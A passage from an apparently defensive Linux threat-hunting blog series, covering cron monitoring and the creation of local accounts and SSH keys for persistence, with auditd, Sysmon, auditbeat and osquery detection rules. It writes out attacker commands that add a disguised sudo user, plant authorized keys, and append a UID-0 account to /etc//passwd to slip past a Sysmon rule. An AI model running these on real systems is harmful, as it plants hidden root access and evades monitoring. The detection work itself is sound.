<h5 id="723-hourlydailyweekly-and-monthly-cron">7.2.3 hourly,daily,weekly, and monthly cron</h5>

<p>The <code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code> are actual scripts triggered hourl, or daily, or etc…</p>

<h4 id="73-monitoring-addition-to-cron">7.3 Monitoring addition to cron</h4>

<h5 id="731-auditd">7.3.1 Auditd</h5>

<p>From our reference <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a> rules give us the following rules.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/cron.allow -p wa -k cron
-w /etc/cron.deny -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/crontab -p wa -k cron
-w /var/spool/cron/ -k cron
</code></pre></div></div>

<p>This should cover almost everything for cron.</p>

<h5 id="732-sysmon">7.3.2 Sysmon</h5>

<p>For sysmon we can use <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a> which is a translation of the <code class="language-plaintext highlighter-rouge">auditd</code> rules above.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>crontab<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/ProcessCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1053.003,TechniqueName=Scheduled Task/Job: Cron"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/cron.allow<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/cron.deny<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"is"</span><span class="nt">&gt;</span>/etc/crontab<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/cron.d/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/cron.daily/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/cron.hourly/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/cron.monthly/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/etc/cron.weekly/<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"begin with"</span><span class="nt">&gt;</span>/var/spool/cron/crontabs/<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/FileCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>Although it should be noted that because of what we have observed with using <code class="language-plaintext highlighter-rouge">FileCreate</code> for file integrity monitoring, we can say that the  <code class="language-plaintext highlighter-rouge">sysmon</code> version is not as powerful as the <code class="language-plaintext highlighter-rouge">auditd</code> even if it is a direct translation.</p>

<h5 id="733-auditbeats">7.3.3 auditbeats</h5>

<p>Similar to the <code class="language-plaintext highlighter-rouge">systemd</code>, be careful with using the default file integrity monitoring of <code class="language-plaintext highlighter-rouge">auditbeat</code>. By default, only <code class="language-plaintext highlighter-rouge">/etc/crontab</code> will be monitoring.  The following are not covered by FIM of the default configuration:</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/cron.d/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></li>
  <li><code class="language-plaintext highlighter-rouge">/var/spool/cron/crontab/*</code></li>
</ul>

<p>You can either set <code class="language-plaintext highlighter-rouge">recursive</code> or add each of those specific directories.</p>

<h5 id="734-osquery">7.3.4 osquery</h5>

<p><strong>Listing parsed <code class="language-plaintext highlighter-rouge">crontab</code></strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT *
FROM crontab
</code></pre></div></div>

<p><img src="/assets/posts/20220130/7-crontab.png" alt="" /></p>

<p><strong>Listing all files of <code class="language-plaintext highlighter-rouge">/etc/cron.{hourly,daily,weekly,monthly}/*</code></strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>SELECT path, directory, md5
FROM hash 
WHERE 
  path LIKE "/etc/cron.hourly/%"
  OR path LIKE "/etc/cron.daily/%"
  OR path LIKE "/etc/cron.weekly/%"
  OR path LIKE "/etc/cron.monthly/%";
</code></pre></div></div>
<p><img src="/assets/posts/20220130/7-crontab-2.png" alt="" /></p>

<h3 id="conclusions-and-whats-next">Conclusions and What’s next</h3>

<p>We’ve discussed how to create and detect the creation service, timers, and cronjobs.</p>

<p>Personally, it took a while to fully grasp <code class="language-plaintext highlighter-rouge">systemd</code> and I found that the best resources were the man pages. I hope that I’ve been able to provide materials to make these concepts more accessible. If there are mistakes here are things you might want to add, feel free to reach out.</p>

<p>In the next post, we’ll going through where to put scripts/executables that run on boot or logon using initizalization scripts and shell configurations.</p>

<hr />

<h2 id="sources">Sources</h2>

<p>[1] <a href="https://manpages.debian.org/bullseye/systemd/systemd.unit.5.en.html">Debian systemd.unit man page</a></p>

<p>[2] <a href="https://www.freedesktop.org/software/systemd/man/systemd.unit.html">freedesktop systemd.unit man page</a></p>

<p>[3] <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp">PayloadsAllTheThings Reverse Shell</a></p>

<p>[4] <a href="https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/">ATT&amp;CK T1501: Understanding systemd service persistence</a></p>

<p>[5] <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">Neo23x0/auditd</a></p>

<p>[6] <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/service_persistence.rb">Metasploit: service_persistence.rb</a></p>

<p>[7] <a href="https://www.elastic.co/guide/en/beats/auditbeat/6.8/auditbeat-module-file_integrity.html">Auditbeat File Integrity Module</a></p>

<p>[8] <a href="https://www.unixsysadmin.com/systemd-user-services/">systemd user services</a></p>

<p>Photo by <a href="https://www.pexels.com/photo/analog-wall-clock-with-bells-800427/">Matej from Pexels</a></p>]]></content><author><name>Pepe Berba</name></author><category term="security" /><category term="mitre" /><category term="persistence" /><category term="threat hunting" /><category term="sysmon" /><category term="auditd" /><summary type="html"><![CDATA[How attackers use newly created and existing accounts for peristence and how to detect them.]]></summary></entry><entry><title type="html">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</title><link href="https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/" rel="alternate" type="text/html" title="Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation" /><published>2021-11-23T00:00:00+00:00</published><updated>2021-11-23T00:00:00+00:00</updated><id>https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation</id><content type="html" xml:base="https://pberba.github.io/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/"><![CDATA[<h3 id="introduction">Introduction</h3>

<p><a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">In the previous blog post</a>, we’ve discussed how to setup auditd and sysmon so that we can start hunting for persistence techniques in linux hosts.  Specifically, we discussed some ways we can detect the creation and the use of web shells in a web server.</p>

<p>In this blog post, we will discuss the following:</p>
<ul>
  <li><a href="https://attack.mitre.org/techniques/T1136/001/">Create Account: Local Account</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1078/003/">Valid Accounts: Local Accounts</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1098/004/">Account Manipulation: SSH Authorized Keys</a></li>
</ul>

<p>We will give some example commands on how to implement these persistence techinques and some alerts you can use to detect these.</p>

<p>If you need help how to setup auditd, sysmon and/or auditbeats, you can try following the instructions in the <a href="https://pberba.github.io/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/#appendix">appendix in part 1</a>.</p>

<p>Here is a diagram of the things we will cover in this blog post:
<img src="/assets/posts/20211123/0-introduction.png" alt="" />
<em>Links to the full version <a href="/assets/posts/common/20220201-linux-persistence.png">[image]</a> <a href="/assets/posts/common/20220201-linux-persistence.pdf">[pdf]</a></em></p>

<p>This is part 2 of a series on persistence in linux:</p>
<ul>
  <li><a href="/security/2021/11/22/linux-threat-hunting-for-persistence-sysmon-auditd-webshell/">Hunting for Persistence in Linux (Part 1): Auditing, Logging and Webshells</a>
    <ul>
      <li>1 - Server Software Component: Web Shell</li>
    </ul>
  </li>
  <li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
    <ul>
      <li>2 - Create Account: Local Account</li>
      <li>3 - Valid Accounts: Local Accounts</li>
      <li>4 - Account Manipulation: SSH Authorized Keys</li>
    </ul>
  </li>
  <li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
    <ul>
      <li>5 - Create or Modify System Process: Systemd Service</li>
      <li>6 - Scheduled Task/Job: Systemd Timers</li>
      <li>7 - Scheduled Task/Job: Cron</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
    <ul>
      <li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
      <li>9 - Boot or Logon Initialization Scripts: init.d</li>
      <li>10 - Boot or Logon Initialization Scripts: motd</li>
      <li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
    </ul>
  </li>
  <li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
    <ul>
      <li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
    </ul>
  </li>
  <li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
    <ul>
      <li>Modify Authentication Process: Pluggable Authentication Modules</li>
      <li>Compromise Client Software Binary</li>
      <li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
      <li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
    </ul>
  </li>
</ul>

<h3 id="2-create-account-local-account">2 Create Account: Local Account</h3>

<h4 id="21-creating-account-to-maintain-persistence">2.1 Creating account to maintain persistence</h4>

<p><strong>MITRE:</strong> <a href="https://attack.mitre.org/techniques/T1136/001/">https://attack.mitre.org/techniques/T1136/001/</a></p>

<p>Adversaries may create a local account to maintain access to victim systems without any need for additional tools. Rather than configure a backdoor web shell, let’s just create a user!</p>

<p>We run the following commands</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>adduser <span class="nt">--shell</span> /bin/bash <span class="nt">--home</span> /var/www/ nginx  
<span class="nb">sudo </span>usermod <span class="nt">-aG</span> <span class="nb">sudo </span>nginx
</code></pre></div></div>
<p>This creates a user named <code class="language-plaintext highlighter-rouge">nginx</code> and add this to the <code class="language-plaintext highlighter-rouge">sudo</code> group.(Maybe this will trick a junior analyst who might think <code class="language-plaintext highlighter-rouge">nginx</code> is a legitimate user of the <code class="language-plaintext highlighter-rouge">nginx</code> service)</p>

<p>We can set a password for this or if you want to have public key ssh then you might do additional actions.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /var/www/.ssh  
<span class="nb">echo</span> <span class="s2">"ssh-ed25519 AA ... "</span> <span class="o">&gt;</span> /var/www/.ssh/authorized_keys
</code></pre></div></div>

<p>With that, we can now use <code class="language-plaintext highlighter-rouge">nginx@&lt;pwned_host&gt;</code> to gain root access to the host.</p>

<p>Often, when you create a local account, you would have to give the account additional permissions for it to be useful. That is why you will see that our detection includes both account creation and modification.</p>

<h4 id="22-detection-user-add-in-auditbeats-system-module">2.2 Detection: User add in auditbeat’s system module</h4>

<p>Using the default config auditbeat, we can see that the <code class="language-plaintext highlighter-rouge">event.module: system</code> logs <code class="language-plaintext highlighter-rouge">process_started</code> events. One of those we would be able to see</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*C0pGHGyoq4-5S6Kov2tqnw.png" alt="" /></p>

<p>But on top of that, we are also able to see the following <code class="language-plaintext highlighter-rouge">event.action</code>:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">user_added</code>: Adding user to passwd and shadow</li>
  <li><code class="language-plaintext highlighter-rouge">password_changed</code>: Setting user’s password</li>
  <li><code class="language-plaintext highlighter-rouge">user_changes</code>: Adding user to <code class="language-plaintext highlighter-rouge">sudo</code>group</li>
</ul>

<p><img src="https://cdn-images-1.medium.com/max/800/1*TFIzdmjFj_-N7tyfWBoQCQ.png" alt="" /></p>

<h4 id="23-detection-changes-in-etcshadow-etcpasswd-and-etcgroup">2.3 Detection: Changes in <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, and <code class="language-plaintext highlighter-rouge">/etc/group</code></h4>

<p>Behind the scenes, commands such as <code class="language-plaintext highlighter-rouge">passwd</code> and <code class="language-plaintext highlighter-rouge">adduser</code> modify the followings files:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">/etc/gshadow</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/shadow</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
  <li><code class="language-plaintext highlighter-rouge">/etc/group</code></li>
</ul>

<p>Modifications to these files can create valid users even without running the <code class="language-plaintext highlighter-rouge">adduser</code> command.</p>

<p><img src="https://cdn-images-1.medium.com/max/800/1*lfd6Ang5KiajdRWQOxWtrg.png" alt="" /></p>

<p>You might notice the creation of <code class="language-plaintext highlighter-rouge">/etc/nshadow</code>, <code class="language-plaintext highlighter-rouge">/etc/passwd.lock/</code> and other files. These are byproducts of <code class="language-plaintext highlighter-rouge">passwd</code> and <code class="language-plaintext highlighter-rouge">usermod</code> command.</p>

<p>Monitoring modifications of these critical files can help detect these kinds of persistence techniques.</p>

<h4 id="24-detection-using-auditd-to-detect-user-creation">2.4 Detection: Using auditd to detect user creation</h4>

<p>If we want to natively find these in auditd, we can use the following rules:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/group -p wa -k etcgroup  
-w /etc/passwd -p wa -k etcpasswd  
-w /etc/gshadow -k etcgroup  
-w /etc/shadow -k etcpasswd

-w /usr/sbin/useradd -p x -k user_modification  
-w /usr/sbin/adduser -p x -k user_modification
-w /usr/bin/passwd -p x -k passwd_modification
</code></pre></div></div>

<p>And if we want to add auxilarly actions like adding the user to groups, etc:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/sudoers -p rw -k priv_esc  
-w /etc/sudoers.d -p rw -k priv_esc

-w /usr/sbin/usermod -p x -k user_modification  
-w /usr/sbin/userdel -p x -k user_modification  
-w /usr/sbin/groupadd -p x -k group_modification  
-w /usr/sbin/groupmod -p x -k group_modification  
-w /usr/sbin/addgroup -p x -k group_modification  
</code></pre></div></div>

<p>This will look for:</p>

<ul>
  <li>Any read/write of the sudoers dir</li>
  <li>Any write or update of the <code class="language-plaintext highlighter-rouge">/etc/group</code> or <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
  <li>Any action on <code class="language-plaintext highlighter-rouge">/etc/gshadow</code> and <code class="language-plaintext highlighter-rouge">/etc/shadow</code></li>
  <li>If specific commands like <code class="language-plaintext highlighter-rouge">useradd</code> and <code class="language-plaintext highlighter-rouge">usermod</code> are executed</li>
</ul>

<p>Here is a raw auditd log for <code class="language-plaintext highlighter-rouge">etcpasswd</code></p>

<pre class="highlight">
  <code>
type=SYSCALL msg=audit(1637599618.765:11426): arch=c000003e syscall=82 success=yes exit=0 a0=7ffeb8ffa160 a1=564262d92020 a2=7ffeb8ffa0d0 a3=2 items=5 ppid=13573 pid=13578 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=19 <u><b>comm="useradd" exe="/usr/sbin/useradd"</b></u> subj==unconfined <u><b>key="etcpasswd"</b></u>, type=PATH msg=audit(1637599618.765:11426): item=0 name="/etc/" inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=1 <u><b>name="/etc/"</b></u> inode=131075 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=2 <u><b>name="/etc/shadow+"</b></u> inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=3 name="/etc/shadow" inode=144749 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=DELETE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637599618.765:11426): item=4 name="/etc/shadow" inode=131557 dev=08:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=CREATE cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637599618.765:11426): <u><b>proctitle=2F7362696E2F75736572616464002D64002F7661722F7777772F002D67006E67696E78002D73002F62696E2F62617368002D750031303032006E67696E78</b></u>
</code></pre>

<p>From here we can see the following:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">comm="useradd" exe="/usr/sbin/useradd"</code> executable being run</li>
  <li><code class="language-plaintext highlighter-rouge">name="/etc/shadow"</code> file being modified</li>
  <li><code class="language-plaintext highlighter-rouge">key="etcpasswd"</code> tag or key from the auditd rule</li>
  <li><code class="language-plaintext highlighter-rouge">proctitle=2F7362...</code> which is the hex encoded title of the process which decods into <code class="language-plaintext highlighter-rouge">/sbin/useradd -d /var/www/ -g nginx -s /bin/bash -u 1002 nginx</code></li>
</ul>

<h5 id="241-note-on-uid-of-users">2.4.1 Note on UID of users</h5>

<p>If we look at <code class="language-plaintext highlighter-rouge">/etc/passwd</code> we will see this newly created user <code class="language-plaintext highlighter-rouge">nginx</code> will have a large UID <code class="language-plaintext highlighter-rouge">100X</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>messagebus:x:104:105::/nonexistent:/usr/sbin/nologin  
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin  
_chrony:x:106:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin  
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin  
user:x:1000:1001::/home/user:/bin/bash  
nginx:x:1002:1003:,,,:/var/www/:/bin/bash
</code></pre></div></div>

<p>Although it is true that Linux systems will assign high UIDs to new users, this is only by convention and an attacker can easily modify this so that newly created accounts can appear as system accounts because they have low UIDs.</p>

<h4 id="25-detection-using-sysmon-to-detect-user-creation">2.5 Detection: Using sysmon to detect user creation</h4>

<p>We have to potential rules available in MSTIC’s config:</p>
<ul>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1136.001_CreateLocalAccount_Commands.xml">T1136.001_CreateLocalAccount_Commands.xml</a></li>
  <li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/discovery/T1087.001_LocalAccount_Commands.xml">T1087.001_LocalAccount_Commands.xml</a></li>
</ul>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1087.001,TechniqueName=Account Discovery: Local Account"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/passwd<span class="nt">&lt;/CommandLine&gt;</span>
          <span class="nt">&lt;CommandLine</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/sudoers<span class="nt">&lt;/CommandLine&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"TechniqueID=T1136.001,TechniqueName=Create Account: Local Account"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>useradd<span class="nt">&lt;/Image&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>adduser<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/ProcessCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>This will:</p>
<ul>
  <li>Look for any command that has <code class="language-plaintext highlighter-rouge">/etc/passwd</code> in it. This might catch commands that read or write to <code class="language-plaintext highlighter-rouge">/etc/passwd</code></li>
  <li>Look for any commands that us <code class="language-plaintext highlighter-rouge">useradd</code> or <code class="language-plaintext highlighter-rouge">adduser</code></li>
</ul>

<p>This is a good starting point, however, note that we have already discussed that an attacker can effectively create a user without using <code class="language-plaintext highlighter-rouge">useradd/adduser</code>.</p>

<p>Also notice, that the <code class="language-plaintext highlighter-rouge">T1087.001</code> only looks for commands that contain the string <code class="language-plaintext highlighter-rouge">/etc/passwd</code>. If we can modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code> without directly referencing it in the command, then we can bypass that alert as well.</p>

<p>For example, we go do the following commands as root.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"nginx:x:0:0::/home/nginx:/bin/bash"</span> <span class="o">&gt;&gt;</span> /etc//passwd
passwd nginx 
</code></pre></div></div>

<p>This will allow us to create a root user and set it’s password without triggering the 2 alerts above. We didn’t need to use <code class="language-plaintext highlighter-rouge">useradd</code> and we were able to reference <code class="language-plaintext highlighter-rouge">/etc//passwd</code> and this will not trigger the check for the string <code class="language-plaintext highlighter-rouge">/etc/passwd</code> because of the extra <code class="language-plaintext highlighter-rouge">/</code> we’ve put.</p>

<p>What we want is something similar</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /etc/passwd -p wa -k etcpasswd  
</code></pre></div></div>

<p>Because there are many ways to modify <code class="language-plaintext highlighter-rouge">/etc/passwd</code>, <code class="language-plaintext highlighter-rouge">/etc/shadow/</code>, etc directly and indirectly, we should have an extra rule to detect any changes to these files. As far as I know, the closest thing we have in sysmon for this is.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;FileCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"etcpasswd"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/passwd<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/shadow<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"etcgroup"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/group<span class="nt">&lt;/TargetFilename&gt;</span>
          <span class="nt">&lt;TargetFilename</span> <span class="na">condition=</span><span class="s">"contains"</span><span class="nt">&gt;</span>/etc/gshadow<span class="nt">&lt;/TargetFilename&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
      <span class="nt">&lt;/FileCreate&gt;</span>
    <span class="nt">&lt;/RuleGroup&gt;</span>
</code></pre></div></div>

<p>Unfortunately, Sysmon Event ID 11, <code class="language-plaintext highlighter-rouge">FileCreate</code> is only triggered when a file is created or overwritten. 
At the time of writing this blog post, if a file is modified in place, then no event is not triggered.</p>

<p>The rules above will be able to detect modifications done by</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /etc/passwd
useradd
</code></pre></div></div>

<p>(This is mainly because of temporary files that these commands make such as <code class="language-plaintext highlighter-rouge">/etc/shadow+</code> but not modifications of <code class="language-plaintext highlighter-rouge">/etc/shadow</code> directly)</p>

<p>But not triggered by the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>echo "&lt;TEXT&gt;" &gt;&gt; /etc/passwd
sed -i 's/BEFORE/AFTER/g' /etc/passwd
</code></pre></div></div>

<p>Worse, even if we are explicitly trying to watch at <code class="language-plaintext highlighter-rouge">/etc/shadow</code>, the rule above doesn’t seem to be triggered by the simple</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passwd user
</code></pre></div></div>
<p>This shows that as it is, <code class="language-plaintext highlighter-rouge">sysmon</code> will not be completely reliable for file integrity monitoring. In the next blog post, we will show how rules such as <a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1543.002_CreateModSystemProcess_Systemd.xml">T1543.002_CreateModSystemProcess_Systemd.xml</a> might fail to detect installation of systemd services</p>

<p>I would also expand alerting to other user and group modification commands, similar to <code class="language-plaintext highlighter-rouge">auditd</code></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nt">&lt;RuleGroup</span> <span class="na">name=</span><span class="s">""</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
      <span class="nt">&lt;ProcessCreate</span> <span class="na">onmatch=</span><span class="s">"include"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"group_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>groupmod<span class="nt">&lt;/Image&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>addgroup<span class="nt">&lt;/Image&gt;</span>
          <span class="nt">&lt;Image</span> <span class="na">condition=</span><span class="s">"end with"</span><span class="nt">&gt;</span>groupadd<span class="nt">&lt;/Image&gt;</span>
        <span class="nt">&lt;/Rule&gt;</span>
        <span class="nt">&lt;Rule</span> <span class="na">name=</span><span class="s">"user_modification"</span> <span class="na">groupRelation=</span><span class="s">"or"</span><span class="nt">&gt;</span>
